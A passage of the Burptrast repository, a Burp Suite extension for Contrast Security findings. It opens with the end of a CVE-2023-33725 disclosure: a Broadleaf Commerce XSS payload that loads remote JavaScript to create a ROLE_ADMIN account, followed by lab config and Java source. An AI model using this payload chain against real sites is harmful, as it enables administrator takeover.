226 | There is a 3rd step. While the above generates the admin user, its a admin account with no privileges.
227 |
228 | The next step gives the admin user master admin privileges.
229 |
230 | ```javascript
231 | function addAdminAccess(token,state,path) {
232 | var xhr = new XMLHttpRequest();
233 | xhr.open("POST", "/admin/user-management/"+path+"/allRoles/add", true);
234 | xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
235 | xhr.responseType = "document";
236 | xhr.onreadystatechange = function() {
237 | if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
238 |
239 | }
240 | }
241 | xhr.send("fields%5B'id'%5D.value=-1&fields%5B'description'%5D.value=Admin+Master+Access&fields%5B'__adminMainEntity'%5D.value=ROLE_ADMIN&csrfToken="+token+"&stateVersionToken="+state);
242 | }
243 | ```
244 |
245 | With this js file created, we just need to host it somewhere https://joebeeton.github.io/b.js
246 |
247 | Then reference it in our original XSS by setting the customer email address to
248 |
249 | `""@ab.uk
250 | `
251 | ( you need to use the url encoded version of the payload which is
252 | `%22%3Cscript%20src%3D%27https%3A%2F%2Fjoebeeton.github.io%2Fb.js%27%20%2F%3E%22%40ab.uk`
253 | )
254 | Then wait for an unsuspecting admin user to login, trigger the xss payload and generate the new admin account for us.
255 | 
256 | And from there the attacker can login with the credentials newadmin : newadmin as an admin and takeover the site.
257 |
258 |
259 |
260 |
261 |
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/contrast_security.yaml:
--------------------------------------------------------------------------------
1 | api:
2 | url: https://CHANGEME.contrastsecurity.com/Contrast
3 | api_key: CHANGEME
4 | service_key: CHANGEME
5 | user_name: CHANGEME@CHANGEME
6 | application:
7 | name: broadleaf-xss
8 | server:
9 | name: broadleaf-xss
10 | protect:
11 | enabled: false
12 | assess:
13 | enabled: true
14 | agent:
15 | logger:
16 | level: DEBUG
17 |
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 12.44.22.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 12.44.22.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.05.07.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.05.07.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.30.51.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.30.51.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.46.49.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.46.49.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.47.23.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.47.23.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.48.02.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.48.02.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.49.07.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.49.07.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.54.58.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.54.58.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.56.01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.56.01.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.09.33.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.09.33.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.10.57.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.10.57.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.40.04.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.40.04.png
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/site-pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | com.mycompany-community
5 | boot-community-demo
6 | 1.0.0-SNAPSHOT
7 |
8 |
9 | 4.0.0
10 | boot-community-demo-site
11 | jar
12 |
13 | Community Demo Site
14 | Web Module For Customized Broadleaf Commerce Site
15 |
16 |
17 | 8000
18 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:/workspace/contrast.jar -Dcontrast.config.path=/workspace/contrast_security.yaml
19 |
20 |
21 |
22 | ROOT
23 |
24 |
25 | org.apache.maven.plugins
26 | maven-dependency-plugin
27 |
28 |
29 | org.springframework.boot
30 | spring-boot-maven-plugin
31 |
32 |
33 |
34 |
35 |
36 |
37 | com.mycompany-community
38 | boot-community-demo-core
39 |
40 |
41 | org.springframework.boot
42 | spring-boot-starter-validation
43 |
44 |
45 | org.broadleafcommerce
46 | broadleaf-framework-web
47 |
48 |
49 | com.broadleafcommerce
50 | broadleaf-boot-starter-solr
51 |
52 |
53 | org.broadleafcommerce
54 | broadleaf-thymeleaf3-presentation
55 |
56 |
57 | nz.net.ultraq.thymeleaf
58 | thymeleaf-layout-dialect
59 | 3.0.0
60 |
61 |
62 | org.springframework.boot
63 | spring-boot-starter-web
64 |
65 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/docs/CVE-2023-33725/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # This manages the startup of both the site and admin applications.
3 | # As both share the same flat file database, they need to be started up in order.
4 | # So the admin page is run first. Once the curl returns a 200. We know it is running and the
5 | # site is run.
6 |
7 | httpstatus=0
8 | ./mvnw -f admin/pom.xml spring-boot:run &
9 |
10 | while [ $httpstatus -ne 200 ]
11 | do
12 | sleep 5
13 | httpstatus=$(curl --insecure --write-out %{http_code} --silent --output /dev/null https://localhost:8444/admin/login )
14 | done
15 | ./mvnw -f site/pom.xml spring-boot:run
16 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | com.contrast
8 | Burptrast
9 | 1.4
10 |
11 |
12 | 8
13 | 8
14 |
15 |
16 |
17 |
18 | com.googlecode.owasp-java-html-sanitizer
19 | owasp-java-html-sanitizer
20 | 20240325.1
21 |
22 |
23 | commons-io
24 | commons-io
25 | 2.17.0
26 |
27 |
28 |
29 | net.portswigger.burp.extender
30 | burp-extender-api
31 | 2.3
32 |
33 |
34 | com.contrastsecurity
35 | contrast-sdk-java
36 | 3.4.2
37 |
38 |
39 |
40 | org.yaml
41 | snakeyaml
42 | 2.3
43 |
44 |
45 | junit
46 | junit
47 | 4.13.2
48 | test
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.maven.plugins
56 | maven-assembly-plugin
57 | 3.7.1
58 |
59 |
60 | jar-with-dependencies
61 |
62 |
63 |
64 |
65 | assemble-all
66 | package
67 |
68 | single
69 |
70 |
71 |
72 |
73 |
74 | org.apache.maven.plugins
75 | maven-compiler-plugin
76 |
77 | 11
78 | 11
79 |
80 |
81 |
82 |
83 |
--------------------------------------------------------------------------------
/screenshots/burp-app-select.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp-app-select.png
--------------------------------------------------------------------------------
/screenshots/burp-update.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp-update.png
--------------------------------------------------------------------------------
/screenshots/burp1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp1.png
--------------------------------------------------------------------------------
/screenshots/burp2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp2.png
--------------------------------------------------------------------------------
/screenshots/burp3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp3.png
--------------------------------------------------------------------------------
/screenshots/burp4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp4.png
--------------------------------------------------------------------------------
/screenshots/configure-agent-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/configure-agent-1.png
--------------------------------------------------------------------------------
/screenshots/cred-tab.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/cred-tab.png
--------------------------------------------------------------------------------
/screenshots/creds.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/creds.png
--------------------------------------------------------------------------------
/screenshots/screenshot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/screenshot.png
--------------------------------------------------------------------------------
/screenshots/signup.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/signup.png
--------------------------------------------------------------------------------
/src/main/java/burp/BurpExtender.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 |
4 | public class BurpExtender implements IBurpExtender {
5 | @Override
6 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
7 | callbacks.setExtensionName("Burptrast Security");
8 | ParentTab parentTab = new ParentTab(callbacks);
9 | callbacks.addSuiteTab(parentTab);
10 |
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/src/main/java/burp/Components.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import javax.swing.*;
4 | import java.awt.*;
5 |
6 | public class Components {
7 |
8 | private static TextField portNumberField;
9 | private static TextField hostNameField;
10 | private static TextField appContextField;
11 | private static JComboBox protocolCombo;
12 | private static JComboBox orgsCombo;
13 | private static JComboBox appCombo;
14 | private static JRadioButton sortByAppNameRadio;
15 |
16 | private static JRadioButton sortByLastSeenRadio;
17 |
18 | private static JButton importRoutesButton;
19 |
20 | private static JButton orgIdButton;
21 | private static JButton appButton;
22 | private static JButton updateButton;
23 | private static JTable traceTable;
24 | private static JTable routeTable;
25 |
26 | private static JLabel pathLabel;
27 |
28 | private static JRadioButton enableLiveBrowse;
29 |
30 | private static JRadioButton disableLiveBrowse;
31 |
32 | private static JButton credsFile;
33 |
34 | private static JButton saveCredsFile;
35 |
36 | private static JLabel credentialsStatusLabel;
37 |
38 |
39 |
40 | private static JPanel credentialsStatusPanel;
41 |
42 | private static JPanel statusPanel;
43 |
44 | private static JLabel statusLabel;
45 | private static JPanel routeStatsPanel;
46 | private static JLabel routeStatsLabel;
47 |
48 | public static TextField getPortNumberField() {
49 | return portNumberField;
50 | }
51 |
52 | public static void setPortNumberField(TextField portNumberField) {
53 | Components.portNumberField = portNumberField;
54 | }
55 |
56 | public static TextField getHostNameField() {
57 | return hostNameField;
58 | }
59 |
60 | public static void setHostNameField(TextField hostNameField) {
61 | Components.hostNameField = hostNameField;
62 | }
63 |
64 | public static TextField getAppContextField() {
65 | return appContextField;
66 | }
67 |
68 | public static void setAppContextField(TextField appContextField) {
69 | Components.appContextField = appContextField;
70 | }
71 |
72 | public static JComboBox getProtocolCombo() {
73 | return protocolCombo;
74 | }
75 |
76 | public static void setProtocolCombo(JComboBox protocolCombo) {
77 | Components.protocolCombo = protocolCombo;
78 | }
79 |
80 | public static JComboBox getOrgsCombo() {
81 | return orgsCombo;
82 | }
83 |
84 | public static void setOrgsCombo(JComboBox orgsCombo) {
85 | Components.orgsCombo = orgsCombo;
86 | }
87 |
88 | public static JComboBox getAppCombo() {
89 | return appCombo;
90 | }
91 |
92 | public static void setAppCombo(JComboBox appCombo) {
93 | Components.appCombo = appCombo;
94 | }
95 |
96 | public static JRadioButton getSortByAppNameRadio() {
97 | return sortByAppNameRadio;
98 | }
99 |
100 | public static void setSortByAppNameRadio(JRadioButton sortByAppNameRadio) {
101 | Components.sortByAppNameRadio = sortByAppNameRadio;
102 | }
103 |
104 | public static JRadioButton getSortByLastSeenRadio() {
105 | return sortByLastSeenRadio;
106 | }
107 |
108 | public static void setSortByLastSeenRadio(JRadioButton sortByLastSeenRadio) {
109 | Components.sortByLastSeenRadio = sortByLastSeenRadio;
110 | }
111 |
112 | public static JButton getImportRoutesButton() {
113 | return importRoutesButton;
114 | }
115 |
116 | public static void setImportRoutesButton(JButton importRoutesButton) {
117 | Components.importRoutesButton = importRoutesButton;
118 | }
119 |
120 | public static JButton getOrgIdButton() {
121 | return orgIdButton;
122 | }
123 |
124 | public static void setOrgIdButton(JButton orgIdButton) {
125 | Components.orgIdButton = orgIdButton;
126 | }
127 |
128 | public static JButton getAppButton() {
129 | return appButton;
130 | }
131 |
132 | public static void setAppButton(JButton appButton) {
133 | Components.appButton = appButton;
134 | }
135 |
136 | public static JButton getUpdateButton() {
137 | return updateButton;
138 | }
139 |
140 | public static void setUpdateButton(JButton updateButton) {
141 | Components.updateButton = updateButton;
142 | }
143 |
144 | public static JTable getTraceTable() {
145 | return traceTable;
146 | }
147 |
148 | public static void setTraceTable(JTable traceTable) {
149 | Components.traceTable = traceTable;
150 | }
151 |
152 | public static JTable getRouteTable() {
153 | return routeTable;
154 | }
155 |
156 | public static void setRouteTable(JTable routeTable) {
157 | Components.routeTable = routeTable;
158 | }
159 |
160 | public static JPanel getRouteStatsPanel() { return routeStatsPanel;}
161 |
162 | public static void setRouteStatsPanel(JPanel routeStatsPanel) { Components.routeStatsPanel = routeStatsPanel;}
163 |
164 | public static JLabel getRouteStatsLabel() { return routeStatsLabel;}
165 |
166 | public static void setRouteStatsLabel(JLabel routeStatsLabel) { Components.routeStatsLabel = routeStatsLabel;}
167 |
168 | public static JLabel getPathLabel() {
169 | return pathLabel;
170 | }
171 |
172 | public static void setPathLabel(JLabel pathLabel) {
173 | Components.pathLabel = pathLabel;
174 | }
175 |
176 | public static JRadioButton getEnableLiveBrowse() {
177 | return enableLiveBrowse;
178 | }
179 |
180 | public static void setEnableLiveBrowse(JRadioButton enableLiveBrowse) {
181 | Components.enableLiveBrowse = enableLiveBrowse;
182 | }
183 |
184 | public static JRadioButton getDisableLiveBrowse() {
185 | return disableLiveBrowse;
186 | }
187 |
188 | public static void setDisableLiveBrowse(JRadioButton disableLiveBrowse) {
189 | Components.disableLiveBrowse = disableLiveBrowse;
190 | }
191 |
192 | public static JButton getCredsFile() {
193 | return credsFile;
194 | }
195 |
196 | public static void setCredsFile(JButton credsFile) {
197 | Components.credsFile = credsFile;
198 | }
199 |
200 | public static JLabel getStatusLabel() {
201 | return statusLabel;
202 | }
203 |
204 | public static void setStatusLabel(JLabel statusLabel) {
205 | Components.statusLabel = statusLabel;
206 | }
207 |
208 | public static JButton getSaveCredsFile() {
209 | return saveCredsFile;
210 | }
211 |
212 | public static void setSaveCredsFile(JButton saveCredsFile) {
213 | Components.saveCredsFile = saveCredsFile;
214 | }
215 |
216 |
217 | public static void setButtons(boolean enabled) {
218 | Components.getOrgIdButton().setEnabled(enabled);
219 | Components.getAppButton().setEnabled(enabled);
220 | Components.getUpdateButton().setEnabled(enabled);
221 | Components.getSortByAppNameRadio().setEnabled(enabled);
222 | Components.getSortByLastSeenRadio().setEnabled(enabled);
223 | Components.getDisableLiveBrowse().setEnabled(enabled);
224 | Components.getEnableLiveBrowse().setEnabled(enabled);
225 | Components.getImportRoutesButton().setEnabled(enabled);
226 | Components.getCredsFile().setEnabled(enabled);
227 | Components.getOrgsCombo().setEnabled(enabled);
228 | Components.getAppCombo().setEnabled(enabled);
229 | }
230 |
231 |
232 | public static JLabel getCredentialsStatusLabel() {
233 | return credentialsStatusLabel;
234 | }
235 |
236 | public static void setCredentialsStatusLabel(JLabel credentialsStatusLabel) {
237 | Components.credentialsStatusLabel = credentialsStatusLabel;
238 | }
239 |
240 | public static JPanel getCredentialsStatusPanel() {
241 | return credentialsStatusPanel;
242 | }
243 |
244 | public static void setCredentialsStatusPanel(JPanel credentialsStatusPanel) {
245 | Components.credentialsStatusPanel = credentialsStatusPanel;
246 | }
247 |
248 | public static JPanel getStatusPanel() {
249 | return statusPanel;
250 | }
251 |
252 | public static void setStatusPanel(JPanel statusPanel) {
253 | Components.statusPanel = statusPanel;
254 | }
255 | }
256 |
--------------------------------------------------------------------------------
/src/main/java/burp/CorrelationIDAppender.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 |
4 | import java.util.ArrayList;
5 | import java.util.List;
6 | import java.util.UUID;
7 |
8 |
9 | /**
10 | * The CorrelationIDAppender is used to append an HTTP Header to every request made via Burptrast when Live Browse is
11 | * enabled. This ID is looked for when new vulnerabilities are found by Assess. Where this ID is found in the http
12 | * request that triggered that vuln, we can correlate that back to this session and live update the vuln tab.
13 | */
14 | public class CorrelationIDAppender implements IHttpListener {
15 |
16 | private final String correlationHeader;
17 |
18 | private final UUID correlationID;
19 | private final IBurpExtenderCallbacks callbacks;
20 |
21 | public static final String NAME = "Burptrast-Correlation-Id";
22 |
23 |
24 | public CorrelationIDAppender(IBurpExtenderCallbacks callbacks) {
25 | correlationID = UUID.randomUUID();
26 | correlationHeader = NAME+":"+ correlationID;
27 | this.callbacks = callbacks;
28 | }
29 |
30 | @Override
31 | public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {
32 | if(messageIsRequest) {
33 | IRequestInfo rqInfo = callbacks.getHelpers().analyzeRequest(messageInfo);
34 | List headers = new ArrayList<>(rqInfo.getHeaders());
35 | List headersToRemove = new ArrayList<>();
36 | for(String header : headers) {
37 | if(header.contains(NAME)) {
38 | if(header.equals(correlationHeader)) {
39 | break;
40 | } else {
41 | headersToRemove.add(header);
42 | }
43 | }
44 | }
45 | headers.removeAll(headersToRemove);
46 | headers.add(correlationHeader);
47 | String body = new String(messageInfo.getRequest()).substring(rqInfo.getBodyOffset());
48 | byte[] msg = callbacks.getHelpers().buildHttpMessage(headers, body.getBytes());
49 | messageInfo.setRequest(msg);
50 | }
51 | }
52 |
53 | public String getHeaderNameValue() {
54 | return correlationHeader;
55 | }
56 |
57 | public UUID getCorrelationID() {
58 | return correlationID;
59 | }
60 |
61 |
62 | }
63 |
--------------------------------------------------------------------------------
/src/main/java/burp/CredentialsTab.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import com.contrast.Logger;
4 | import com.contrast.YamlReader;
5 | import com.contrast.YamlWriter;
6 | import com.contrast.threads.CredentialsRetrieverThread;
7 | import org.yaml.snakeyaml.error.YAMLException;
8 |
9 | import javax.swing.*;
10 | import javax.swing.border.Border;
11 | import javax.swing.border.LineBorder;
12 | import javax.swing.border.TitledBorder;
13 | import java.awt.*;
14 | import java.io.File;
15 | import java.io.IOException;
16 | import java.util.Arrays;
17 | import java.util.List;
18 |
19 | import static burp.ContrastTab.enableButtons;
20 | import static burp.ContrastTab.refreshOrgIDS;
21 |
22 | public class CredentialsTab {
23 |
24 | private final IBurpExtenderCallbacks callbacks;
25 | private final DataModel dataModel;
26 | private final Logger logger;
27 |
28 | public CredentialsTab(IBurpExtenderCallbacks callbacks, DataModel dataModel, Logger logger) {
29 | this.callbacks = callbacks;
30 | this.dataModel = dataModel;
31 | this.logger = logger;
32 | }
33 |
34 |
35 | public Component getUiComponent() {
36 | JPanel panel = new JPanel(new BorderLayout());
37 | JPanel firstLine = new JPanel(new BorderLayout());
38 | JPanel firstInner = new JPanel();
39 | JPanel secondLine = new JPanel(new BorderLayout());
40 | JPanel secondInner = new JPanel();
41 | JPanel credRetriever = new JPanel();
42 | credRetriever.setBorder( BorderFactory.createTitledBorder("Teamserver Credentials"));
43 | createCredRetriever(credRetriever);
44 | createCredSaveButton(credRetriever);
45 | firstInner.add(credRetriever);
46 | firstLine.add(firstInner);
47 | addStatusField(secondInner);
48 | // BurpTrast Credentials Panel
49 | JPanel configPanel = new JPanel();
50 | configPanel.setBorder( BorderFactory.createTitledBorder("Credential File"));
51 | createFileChooser(configPanel);
52 | secondInner.add(configPanel);
53 | secondLine.add(secondInner,BorderLayout.WEST);
54 |
55 | panel.add(secondLine, BorderLayout.PAGE_START);
56 | panel.add(firstLine,BorderLayout.LINE_START);
57 | return panel;
58 | }
59 |
60 | /**
61 | * Adds Status field to the UI, this is used to communicate the current status of Burptrast
62 | * @param secondLine
63 | */
64 | private void addStatusField(JPanel secondLine) {
65 | // Status Field
66 | JPanel statusPanel = new JPanel();
67 | Components.setCredentialsStatusPanel(statusPanel);
68 | statusPanel.setBorder(
69 | BorderFactory.createTitledBorder(null, "Status", TitledBorder.CENTER, TitledBorder.TOP, null,null));
70 | secondLine.add(statusPanel,BorderLayout.LINE_START);
71 | Components.setCredentialsStatusLabel(new JLabel(Status.AWAITING_CREDENTIALS.getStatus()));
72 | statusPanel.add(Components.getCredentialsStatusLabel());
73 | }
74 |
75 | /**
76 | * List of Teamserver URLs
77 | * @return
78 | */
79 | private List getTSList() {
80 | return Arrays.asList(
81 | "",
82 | "https://ce.contrastsecurity.com/Contrast",
83 | "https://eval.contrastsecurity.com/Contrast",
84 | "https://security-research.contrastsecurity.com/Contrast",
85 | "https://apptwo.contrastsecurity.com/Contrast",
86 | "https://app.contrastsecurity.com/Contrast",
87 | "https://alpha.contrastsecurity.com/Contrast"
88 | );
89 | }
90 |
91 | private void createCredRetriever(JPanel credRetriever) {
92 | JTextField usernameField = new JTextField();
93 | JComboBox teamserverURL = new JComboBox<>();
94 | teamserverURL.setEditable(true);
95 | getTSList().forEach(teamserverURL::addItem);
96 | teamserverURL.setToolTipText("Team Server URL : https://ce.contrastsecurity.com/Contrast");
97 | usernameField.setColumns(20);
98 | JPasswordField passwordField = new JPasswordField();
99 | passwordField.setColumns(20);
100 | credRetriever.add(new JLabel("Teamserver URL"));
101 | credRetriever.add(teamserverURL);
102 | credRetriever.add(new JLabel("Username"));
103 | credRetriever.add(usernameField);
104 | credRetriever.add(new JLabel("Password"));
105 | credRetriever.add(passwordField);
106 | JButton button = new JButton("Login");
107 | credRetriever.add(button);
108 | button.addActionListener(e -> {
109 | String username = usernameField.getText();
110 | String password = passwordField.getText();
111 | String tsURL = teamserverURL.getSelectedItem().toString();
112 | CredentialsRetrieverThread thread = new CredentialsRetrieverThread(callbacks,dataModel,logger,username,password,tsURL);
113 | thread.start();
114 |
115 | });
116 | }
117 |
118 | private void createCredSaveButton(JPanel credRetriever) {
119 | Components.setSaveCredsFile(new JButton("Save Credentials"));
120 | Components.getSaveCredsFile().setEnabled(false);
121 | credRetriever.add(Components.getSaveCredsFile());
122 | Components.getSaveCredsFile().addActionListener(e -> {
123 | JFileChooser fileChooser = new JFileChooser();
124 | fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
125 | int option = fileChooser.showSaveDialog(credRetriever);
126 | if(option == JFileChooser.APPROVE_OPTION){
127 | File file = fileChooser.getSelectedFile();
128 | if(file!=null) {
129 | YamlWriter writer = new YamlWriter();
130 | try {
131 | writer.writeYamlFile(dataModel.getTsCreds(), file.toPath());
132 | } catch (IOException ex) {
133 | logger.logError("Unable to save Credentials to file : " + file.getAbsolutePath());
134 | throw new RuntimeException(ex);
135 | }
136 | }
137 | }
138 | });
139 | }
140 |
141 | /**
142 | * Adds the File Chooser to the UI
143 | * When a Creds file is selected, the refresh org, refresh app and update buttons are enabled.
144 | * Also the Org and App Drop downs are populated by calling TeamServer with the newly selected credentials.
145 | * @param panel
146 | */
147 | private void createFileChooser(final JPanel panel){
148 | Components.setCredsFile(new JButton("Select Creds File"));
149 | final JLabel label = new JLabel();
150 | label.setText("Select Config File");
151 | Components.getCredsFile().addActionListener(e -> {
152 | StatusUpdater.updateStatus(Status.LOADING,dataModel);
153 | JFileChooser fileChooser = new JFileChooser();
154 | fileChooser.setFileSelectionMode(JFileChooser.FILES_AND_DIRECTORIES);
155 | int option = fileChooser.showOpenDialog(panel);
156 | if(option == JFileChooser.APPROVE_OPTION){
157 | File file = fileChooser.getSelectedFile();
158 | dataModel.setCredsFile(file);
159 | if(dataModel.getCredsFile()!=null) {
160 | logger.logMessage("Creds File Selected : " + dataModel.getCredsFile());
161 | } else {
162 | logger.logMessage("Creds File is null");
163 | }
164 | label.setText("Selected: " + dataModel.getCredsFile().getName());
165 | dataModel.getTsCreds().clear();
166 | try {
167 | dataModel.getTsCreds().addAll(new YamlReader().parseContrastYaml(dataModel.getCredsFile()));
168 | StatusUpdater.updateStatus(Status.READY,dataModel);
169 | Components.getCredsFile().setEnabled(true);
170 | } catch (IOException | YAMLException ex) {
171 | StatusUpdater.updateStatus(Status.ERROR,dataModel);
172 | Components.getCredentialsStatusLabel().setText(Status.ERROR.getStatus());
173 | JOptionPane.showMessageDialog(null, ex+
174 | "\nSee Error log under extensions -> Errors for further details.");
175 | logger.logException("Error occurred while refreshing org list",ex);
176 | throw new RuntimeException(ex);
177 | }
178 | enableButtons();
179 | refreshOrgIDS(callbacks);
180 | }else{
181 | StatusUpdater.updateStatus(Status.AWAITING_CREDENTIALS,dataModel);
182 | label.setText("Open command canceled");
183 | }
184 | });
185 | panel.add(Components.getCredsFile());
186 | panel.add(label);
187 | }
188 |
189 |
190 |
191 |
192 | }
193 |
--------------------------------------------------------------------------------
/src/main/java/burp/DataModel.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import com.contrast.threads.BrowseVulnCheckThread;
4 | import com.contrast.SortType;
5 | import com.contrast.TSCreds;
6 | import com.contrast.model.Route;
7 | import com.contrast.model.RouteCoverage;
8 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse;
9 | import com.contrastsecurity.models.Application;
10 | import com.contrastsecurity.models.StoryResponse;
11 | import com.contrastsecurity.models.Trace;
12 |
13 | import javax.swing.table.DefaultTableModel;
14 | import java.io.File;
15 | import java.util.ArrayList;
16 |
17 | import java.util.HashMap;
18 | import java.util.List;
19 | import java.util.Map;
20 | import java.util.Optional;
21 | import java.util.Set;
22 |
23 | public class DataModel {
24 |
25 | private final Map> routeCoverageMap = new HashMap<>();
26 | private final List vulnRequests = new ArrayList<>();
27 |
28 | private File credsFile;
29 |
30 | private List tsCreds = new ArrayList<>();
31 |
32 | private final Map appNameIDMap = new HashMap<>();
33 | private final List traces = new ArrayList<>();
34 | private final Map formattedDateMap = new HashMap<>();
35 |
36 | private DefaultTableModel routeTableModel;
37 |
38 | private DefaultTableModel traceTableModel;
39 |
40 | private final Map appToServerMap = new HashMap<>();
41 |
42 | private final Map traceIDStoryMap = new HashMap<>();
43 |
44 | private final Map> nonRequestPathVulnMap = new HashMap<>();
45 |
46 |
47 |
48 | private SortType sortType = SortType.SORT_BY_NAME;
49 |
50 |
51 | private List applications = new ArrayList<>();
52 |
53 | private boolean isLiveBrowseEnabled = false;
54 |
55 | private BrowseVulnCheckThread browseCheckThread;
56 |
57 | private CorrelationIDAppender correlationIDAppender;
58 |
59 | private ThreadManager threadManager;
60 |
61 | private Status status;
62 |
63 | public DataModel() {}
64 |
65 | public void clearData() {
66 | routeCoverageMap.clear();
67 | vulnRequests.clear();
68 | traces.clear();
69 | formattedDateMap.clear();
70 | clearRouteTable();
71 | clearTraceTable();
72 | traceIDStoryMap.clear();
73 | nonRequestPathVulnMap.clear();
74 | }
75 |
76 | /**
